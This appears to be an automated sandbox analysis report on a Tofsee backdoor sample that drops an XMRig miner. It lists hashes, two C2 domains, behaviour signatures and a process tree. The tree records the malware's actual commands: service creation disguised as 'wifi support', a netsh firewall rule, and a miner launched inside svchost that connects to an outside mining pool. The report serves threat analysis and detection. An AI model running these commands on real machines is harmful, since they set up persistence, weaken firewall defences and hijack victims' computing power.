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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    17/12/2022, 02:06

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General

  • Target

    file.exe

  • Size

    214KB

  • MD5

    3d0bc7f66285e2f25ebad65acaef20c9

  • SHA1

    25e5fb81ea1477e48a139faf7df4aecf31c0a6e5

  • SHA256

    ff1135e415ff51c850194f1191636b46e0a39f670a2290b17dde81f2e0e2117f

  • SHA512

    f498d0cd13ce0ed952ca636b1043df72bfb08d372398e7fd1e191b53968f58c3638fb3464b24b161cc571579e9955fdb99c1040bf7ac6c22d00247dbb5bad134

  • SSDEEP

    3072:RsXp5UL+HJHPaTRBx3ZzXgLsNJhNSoDEgPYV89uN4LszAInu40zwUzQRKF+:GYL+HJMFXgQzfZpYV89uN4gzo40M2b

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rjbcvfzk\
      2⤵
        PID:884
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lebjatnk.exe" C:\Windows\SysWOW64\rjbcvfzk\
        2⤵
          PID:1536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rjbcvfzk binPath= "C:\Windows\SysWOW64\rjbcvfzk\lebjatnk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rjbcvfzk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rjbcvfzk
          2⤵
          • Launches sc.exe
          PID:980
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1812
      • C:\Windows\SysWOW64\rjbcvfzk\lebjatnk.exe
        C:\Windows\SysWOW64\rjbcvfzk\lebjatnk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1160
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:536
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1604

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\lebjatnk.exe
        Filesize

        10.3MB

        MD5

        3a2307668eccff95f632e0c00b73ba27

        SHA1

        487da5a0ec9a06e19b6e3598fa54e500b820b213

        SHA256

        a7ae61f947fa68425c09a1c10c9d32af117a8651424640ab5840b51d9fba1152

        SHA512

        63f33e681ccb356dec48911766b1629eebe1e0770d5ac07cf28bec7ae8320d7a11421280f97965aeb3e39ddbf875b0cfe404a7fa0f936e9b4a0285b930e206ee

        Download Submit

      • C:\Windows\SysWOW64\rjbcvfzk\lebjatnk.exe
        Filesize

        10.3MB

        MD5

        3a2307668eccff95f632e0c00b73ba27

        SHA1

        487da5a0ec9a06e19b6e3598fa54e500b820b213

        SHA256

        a7ae61f947fa68425c09a1c10c9d32af117a8651424640ab5840b51d9fba1152

        SHA512

        63f33e681ccb356dec48911766b1629eebe1e0770d5ac07cf28bec7ae8320d7a11421280f97965aeb3e39ddbf875b0cfe404a7fa0f936e9b4a0285b930e206ee

        Download Submit

      • memory/536-88-0x00000000000F0000-0x0000000000100000-memory.dmp

        Filesize

        64KB

        Download

      • memory/536-109-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/536-97-0x00000000001A0000-0x00000000001A7000-memory.dmp

        Filesize

        28KB

        Download

      • memory/536-94-0x0000000005530000-0x000000000593B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/536-91-0x0000000000100000-0x0000000000105000-memory.dmp

        Filesize

        20KB

        Download

      • memory/536-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/536-85-0x00000000000E0000-0x00000000000E6000-memory.dmp

        Filesize

        24KB

        Download

      • memory/536-74-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/536-81-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/536-82-0x00000000019B0000-0x0000000001BBF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/800-67-0x0000000000558000-0x0000000000569000-memory.dmp

        Filesize

        68KB

        Download

      • memory/800-68-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/800-59-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/800-57-0x0000000000558000-0x0000000000569000-memory.dmp

        Filesize

        68KB

        Download

      • memory/800-60-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/800-54-0x0000000000558000-0x0000000000569000-memory.dmp

        Filesize

        68KB

        Download

      • memory/800-55-0x0000000075521000-0x0000000075523000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1160-76-0x0000000000508000-0x0000000000519000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1160-78-0x0000000000400000-0x0000000000452000-memory.dmp

        Filesize

        328KB

        Download

      • memory/1160-69-0x0000000000508000-0x0000000000519000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1604-100-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1604-102-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

        Download